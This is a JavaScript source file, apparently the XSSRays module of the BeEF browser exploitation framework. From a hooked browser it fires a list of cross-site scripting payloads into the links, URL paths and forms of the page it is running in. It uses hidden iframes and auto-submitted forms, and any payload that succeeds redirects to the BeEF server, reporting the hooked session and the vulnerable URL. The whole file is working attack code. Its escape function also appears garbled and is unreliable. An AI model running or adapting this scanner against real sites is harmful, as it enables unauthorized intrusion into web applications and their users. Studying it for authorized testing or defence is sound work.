beef.net.xssrays = {
handler: "xssrays",
completed:0,
totalConnections:0,
xssraysScanId : 0,
hookedBrowserSession: "",
beefRayUrl: "",
crossDomain: false,
cleanUpTimeout:5000,
vectors: [
{input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
{input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
{input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
{input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
{input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
{input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
{input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
{input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
{input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
{input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
{input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
{input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
{input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
{input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
{input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
{input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
{input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
{input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
{input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
],
uniqueID: 0,
rays: [],
stack: [],
checkBrowser:function(vector_array_index){
var result = false;
var browser_id = this.vectors[vector_array_index].browser;
switch (browser_id){
case "ALL":
result = true;
break;
case "FF":
if(beef.browser.isFF())result=true;
break;
case "IE":
if(beef.browser.isIE())result=true;
break;
case "C":
if(beef.browser.isC())result=true;
break;
case "S":
if(beef.browser.isS())result=true;
break;
case "O":
if(beef.browser.isO())result=true;
break;
default : result = false;
}
beef.debug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
return result;
},
startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout) {
this.xssraysScanId = xssraysScanId;
this.hookedBrowserSession = hookedBrowserSession;
this.beefRayUrl = beefUrl + '/' + this.handler;
beef.debug("Using [" + this.beefRayUrl + "] handler to contact back BeEF");
this.crossDomain = crossDomain;
this.cleanUpTimeout = timeout;
this.scan();
beef.debug("Starting scan");
this.runJobs();
},
complete:function() {
if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
beef.debug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
$j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
} else {
this.getNextJob();
}
},
getNextJob:function() {
var that = this;
beef.debug("getNextJob - this.stack.length [" + this.stack.length + "]");
if (this.stack.length > 0) {
var func = that.stack.shift();
if (func) {
that.completed++;
func.call(that);
}
}else{
this.complete();
}
},
scan:function() {
this.scanLinks();
this.scanForms();
},
scanPaths:function() {
this.xss({type:'path'});
return this;
},
scanForms: function() {
this.xss({type:'form'});
return this;
},
scanLinks: function() {
beef.debug("scanLinks, document.links.length [" + document.links.length + "]");
for (var i = 0; i < document.links.length; i++) {
var url = document.links[i];
if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
beef.debug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
"\n url.pathname => " + url.pathname + "\n" +
"url.search => " + url.search + "\n");
this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
search:url.search, type: 'url'});
} else {
beef.debug('Scan is not Cross-origin. URLS\nurl :' + url.hostname.toString());
beef.debug('\nlocation :' + location.hostname.toString());
}
}
if (location.search.length > 0) {
this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});
}
return this;
},
xss:function(target) {
switch (target.type) {
case "url":
if (target.search.length > 0) {
target.search = target.search.slice(1);
target.search = target.search.split(/&|&/);
if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){
var pathname = "/" + target.pathname;
}else{
var pathname = target.pathname;
}
var params = {};
for (var i = 0; i < target.search.length; i++) {
target.search[i] = target.search[i].split('=');
params[target.search[i][0]] = target.search[i][1];
}
for (var i = 0; i < this.vectors.length; i++) {
if (!this.checkBrowser(i)){
beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
continue;
}
if (!this.vectors[i].url) {
continue;
}
if (this.vectors[i].url) {
if (target.port == null || target.port == "") {
beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);
} else {
beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);
}
}
if (this.vectors[i].path) {
if (target.port == null || target.port == "") {
beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);
} else {
beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);
}
}
}
}
break;
case "form":
var params = {};
var paramsstring = "";
for (var i = 0; i < document.forms.length; i++) {
var action = document.forms[i].action || document.location;
var method = document.forms[i].method.toUpperCase() === 'POST' ?
'POST' :
'GET';
for (var j = 0; j < document.forms[i].elements.length; j++) {
params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
}
for (var k = 0; k < this.vectors.length; k++) {
if (!this.checkBrowser(k)){
beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
continue;
}
if (!this.vectors[k].form) {
continue;
}
if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
beef.debug('Scan is not Cross-origin. FormPost\naction :' + this.host(action).toString());
beef.debug('location :' + this.host(location));
continue;
}
if (this.vectors[k].form) {
if (method === 'GET') {
beef.debug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
this.run(action, method, this.vectors[k], params, true);
}
else {
beef.debug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
this.run(action, method, this.vectors[k], params, false);
}
}
if (this.vectors[k].path) {
beef.debug("Starting XSS on FORM action URI PATH of [" + action + "], ");
this.run(action, 'GET', this.vectors[k], null, true);
}
}
}
break;
}
},
host: function(url) {
var host = url;
host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
? url.toString().match(/^https?:[\/]{2}[^\/]+/)
: /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
? ''
: location.hostname.toString();
return host;
},
fileName: function(url) {
return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
},
urlEncode: function(str) {
str = str.toString();
str = str.replace(/"/g, '%22');
str = str.replace(/&/g, '%26');
str = str.replace(/\+/g, '%2b');
return str;
},
run: function(url, method, vector, params, urlencode) {
this.stack.push(function() {
if(url[url.length - 1] == "/" && params == null){
url = url.substring(0, url.length - 2);
beef.debug("Remove last / from url. New url [" + url + "]");
}
beef.net.xssrays.uniqueID++;
beef.debug('Processing vector [' + vector.name + "], URL [" + url + "]");
var poc = '';
var pocurl = url;
var exploit = '';
var action = url;
beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
var ray = this.rays[beef.net.xssrays.uniqueID];
var paramsPos = 0;
if (params != null) {
for (var i in params) {
if (params.hasOwnProperty(i)) {
if (!/[?]/.test(url)) {
url += '?';
pocurl += '?';
}
poc = vector.input.replace(/XSS/g, "alert(1)");
pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
exploit = vector.input.replace(/XSS/g, beefCallback);
if(beef.browser.isC() || beef.browser.isS()){
url += i + '=' + exploit + '&';
}else{
url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
}
paramsPos++;
}
}
} else {
var filename = beef.net.xssrays.fileName(url);
poc = vector.input.replace(/XSS/g, "alert(1)");
pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
exploit = vector.input.replace(/XSS/g, beefCallback);
url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
}
if(beef.browser.isIE()){
try {
var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
} catch (e) {
var iframe = document.createElement('iframe');
iframe.name = 'ray' + Math.random().toString();
}
}else{
var iframe = document.createElement('iframe');
iframe.name = 'ray' + Math.random().toString();
}
iframe.style.display = 'none';
iframe.id = 'ray' + beef.net.xssrays.uniqueID;
iframe.time = beef.net.xssrays.timestamp();
if (method === 'GET') {
if(beef.browser.isC() || beef.browser.isS()){
var datauri = btoa(url);
iframe.src = "data:text/html;base64," + datauri;
}else{
iframe.src = url;
}
document.body.appendChild(iframe);
beef.debug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
} else if (method === 'POST') {
var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
poc = '';
pocurl = action + "?";
paramsPos = 0;
beef.debug("Form action [" + action + "]");
for (var i in params) {
if (params.hasOwnProperty(i)) {
poc = vector.input.replace(/XSS/g, "alert(1)");
poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc);
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
beef.debug("form param[" + i + "] = " + params[i].toString());
paramsPos++;
}
}
form += '<\/form>';
document.body.appendChild(iframe);
beef.debug("Creating form [" + form + "]");
iframe.contentWindow.document.writeln(form);
iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
beef.debug("Submitting form");
}
});
},
runJobs: function() {
var that = this;
this.totalConnections = this.stack.length;
that.getNextJob();
setInterval(function() {
var numOfConnections = 0;
for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
var iframe = document.getElementsByTagName('iframe')[i];
numOfConnections++;
if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
try{
if (iframe) {
beef.net.xssrays.complete();
beef.debug("RunJobs cleaning up iFrame [" + iframe.id + "]");
document.body.removeChild(iframe);
}
}catch(e){
beef.debug("Exception [" + e.toString() + "] when cleaning iframes.")
}
}
}
if (numOfConnections == 0) {
clearTimeout(this);
}
}, this.cleanUpTimeout);
return this;
},
timestamp: function() {
return parseInt(new Date().getTime().toString().substring(0, 10));
},
escape: function(str) {
str = str.toString();
str = str.replace(/</g, '<');
str = str.replace(/>/g, '>');
str = str.replace(/\u0022/g, '"');
str = str.replace(/\u0027/g, ''');
str = str.replace(/\\/g, '\');
return str;
}
};
beef.regCmp('beef.net.xssrays');